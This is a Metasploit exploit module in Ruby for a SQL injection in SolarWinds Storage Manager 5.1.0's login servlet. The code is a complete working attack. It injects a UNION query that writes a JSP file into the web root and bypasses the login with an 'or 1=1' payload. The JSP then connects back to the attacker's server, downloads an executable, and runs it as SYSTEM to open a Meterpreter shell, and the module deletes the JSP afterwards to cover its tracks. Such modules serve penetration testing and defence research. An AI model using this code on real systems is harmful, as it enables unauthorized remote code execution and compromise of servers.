244 lines
7.1 KiB
Ruby
244 lines
7.1 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::Remote::TcpServer
|
|
include Msf::Exploit::EXE
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => "Solarwinds Storage Manager 5.1.0 SQL Injection",
|
|
'Description' => %q{
|
|
This module exploits a SQL injection found in Solarwinds Storage Manager
|
|
login interface. It will send a malicious SQL query to create a JSP file
|
|
under the web root directory, and then let it download and execute our malicious
|
|
executable under the context of SYSTEM.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'r@b13$', # Original discovery by Digital Defense VRT
|
|
'muts', # PoC
|
|
'sinn3r' # Metasploit
|
|
],
|
|
'References' => [
|
|
['OSVDB', '81634'],
|
|
['EDB', '18818'],
|
|
['URL', 'http://ddilabs.blogspot.com/2012/02/solarwinds-storage-manager-server-sql.html'],
|
|
['URL', 'http://www.solarwinds.com/documentation/storage/storagemanager/docs/ReleaseNotes/vulnerability.htm']
|
|
],
|
|
'Payload' => {
|
|
'BadChars' => "\x00",
|
|
},
|
|
'DefaultOptions' => {
|
|
'EXITFUNC' => "none"
|
|
},
|
|
'Platform' => 'win',
|
|
'Targets' => [
|
|
# Win XP / 2003 / Vista / Win 7 / etc
|
|
['Windows Universal', {}]
|
|
],
|
|
'Privileged' => false,
|
|
'DisclosureDate' => '2011-12-07',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Reliability' => UNKNOWN_RELIABILITY,
|
|
'Stability' => UNKNOWN_STABILITY,
|
|
'SideEffects' => UNKNOWN_SIDE_EFFECTS
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options(
|
|
[
|
|
OptPort.new('RPORT', [true, 'The target port', 9000])
|
|
]
|
|
)
|
|
|
|
self.needs_cleanup = true
|
|
end
|
|
|
|
#
|
|
# A very gentle check to see if Solarwinds Storage Manage exists or not
|
|
#
|
|
def check
|
|
res = send_request_raw({
|
|
'method' => 'GET',
|
|
'uri' => '/LoginServlet'
|
|
})
|
|
|
|
if res and res.body =~ /\<title>\SolarWinds \- Storage Manager\<\/title\>/ and
|
|
res.body =~ /\<img style="padding\-top:30px;" src="\/images\/logo_solarwinds_login\.png" width="163" height="70" alt="SolarWinds Storage Manager"\>/
|
|
return Exploit::CheckCode::Detected('Target service detected')
|
|
else
|
|
return Exploit::CheckCode::Safe('Target is not vulnerable')
|
|
end
|
|
end
|
|
|
|
#
|
|
# Remove the JSP once we get a shell.
|
|
# We cannot delete the executable because it will still be in use.
|
|
#
|
|
def on_new_session(cli)
|
|
if cli.type != 'meterpreter'
|
|
print_error("Meterpreter not used. Please manually remove #{@jsp_name + '.jsp'}")
|
|
return
|
|
end
|
|
|
|
cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi")
|
|
|
|
begin
|
|
jsp = @outpath.gsub(/\//, "\\\\")
|
|
jsp = jsp.gsub(/"/, "")
|
|
print_warning("#{rhost}:#{rport} - Deleting: #{jsp}")
|
|
cli.fs.file.rm(jsp)
|
|
print_good("#{rhost}:#{rport} - #{@jsp_name + '.jsp'} deleted")
|
|
rescue ::Exception => e
|
|
print_error("Unable to delete #{@jsp_name + '.jsp'}: #{e.message}")
|
|
end
|
|
end
|
|
|
|
#
|
|
# Transfer the malicious executable to our victim
|
|
#
|
|
def on_client_connect(cli)
|
|
print_status("#{cli.peerhost}:#{cli.peerport} - Sending executable (#{@native_payload.length} bytes)")
|
|
cli.put(@native_payload)
|
|
service.close_client(cli)
|
|
end
|
|
|
|
#
|
|
# Generate a download+exe JSP payload
|
|
#
|
|
def generate_jsp_payload
|
|
# tmp folder = C:\Program Files\SolarWinds\Storage Manager Server\temp\
|
|
# This will download our malicious executable in base64 format, decode it back,
|
|
# save it as a temp file, and then finally execute it.
|
|
jsp = %Q|
|
|
<%@page import="java.io.*"%>
|
|
<%@page import="java.net.*"%>
|
|
<%@page import="sun.misc.BASE64Decoder"%>
|
|
|
|
<%
|
|
StringBuffer buf = new StringBuffer();
|
|
byte[] shellcode = null;
|
|
BufferedOutputStream outstream = null;
|
|
try {
|
|
Socket s = new Socket("#{srvhost_addr}", #{srvport});
|
|
BufferedReader r = new BufferedReader(new InputStreamReader(s.getInputStream()));
|
|
while (buf.length() < #{@native_payload.length}) {
|
|
buf.append( (char) r.read());
|
|
}
|
|
|
|
BASE64Decoder decoder = new BASE64Decoder();
|
|
shellcode = decoder.decodeBuffer(buf.toString());
|
|
|
|
File temp = File.createTempFile("#{@native_payload_name}", ".exe");
|
|
String path = temp.getAbsolutePath();
|
|
|
|
outstream = new BufferedOutputStream(new FileOutputStream(path));
|
|
outstream.write(shellcode);
|
|
outstream.close();
|
|
|
|
Process p = Runtime.getRuntime().exec(path);
|
|
} catch (Exception e) {}
|
|
%>
|
|
|
|
|
|
|
jsp = jsp.gsub(/\n/, '')
|
|
jsp = jsp.gsub(/\t/, '')
|
|
|
|
jsp.unpack("H*")[0]
|
|
end
|
|
|
|
#
|
|
# Run the actual exploit
|
|
#
|
|
def inject_exec
|
|
# This little lag is meant to ensure the TCP server runs first before the requests
|
|
select(nil, nil, nil, 1)
|
|
|
|
# Inject our JSP payload
|
|
print_status("#{rhost}:#{rport} - Sending JSP payload")
|
|
pass = rand_text_alpha(rand(10) + 5)
|
|
hex_jsp = generate_jsp_payload
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => '/LoginServlet',
|
|
'headers' => {
|
|
'Accept-Encoding' => 'identity'
|
|
},
|
|
'vars_post' => {
|
|
'loginState' => 'checkLogin',
|
|
'password' => pass,
|
|
'loginName' => "AAA' union select 0x#{hex_jsp},2,3,4,5,6,7,8,9,10,11,12,13,14 into outfile #{@outpath}#"
|
|
}
|
|
})
|
|
|
|
# Pick up the cookie, example:
|
|
# JSESSIONID=D90AC5C0BB43B5AC1396736214A1B5EB
|
|
if res and res.get_cookies =~ /JSESSIONID=(\w+);/
|
|
cookie = res.get_cookies
|
|
else
|
|
print_error("Unable to get a session ID")
|
|
return
|
|
end
|
|
|
|
# Trigger the JSP
|
|
print_status("#{rhost}:#{rport} - Trigger JSP payload")
|
|
send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => '/LoginServlet',
|
|
'headers' => {
|
|
'Cookie' => cookie,
|
|
'Accept-Encoding' => 'identity'
|
|
},
|
|
'vars_post' => {
|
|
'loginState' => 'checkLogin',
|
|
'password' => pass,
|
|
'loginName' => "1' or 1=1#--"
|
|
}
|
|
})
|
|
|
|
res = send_request_raw({
|
|
'method' => 'POST',
|
|
'uri' => "/#{@jsp_name + '.jsp'}",
|
|
'headers' => {
|
|
'Cookie' => cookie
|
|
}
|
|
})
|
|
|
|
handler
|
|
rescue ::Exception => e
|
|
print_error("Failure attempting to inject exe: #{e.message}")
|
|
cleanup
|
|
end
|
|
|
|
#
|
|
# The server must start first, and then we send the malicious requests
|
|
#
|
|
def exploit
|
|
# Avoid passing this as an argument for performance reasons
|
|
# This is in base64 is make sure our file isn't mangled
|
|
@native_payload = [generate_payload_exe].pack("m*")
|
|
@native_payload_name = rand_text_alpha(rand(6) + 3)
|
|
@jsp_name = rand_text_alpha(rand(6) + 3)
|
|
@outpath = "\"C:/Program Files/SolarWinds/Storage Manager Server/webapps/ROOT/#{@jsp_name + '.jsp'}\""
|
|
|
|
begin
|
|
t = framework.threads.spawn("reqs", false) { inject_exec }
|
|
print_status("Serving executable on #{Rex::Socket.to_authority(bindhost, bindport)}")
|
|
super
|
|
ensure
|
|
t.kill
|
|
end
|
|
end
|
|
end
|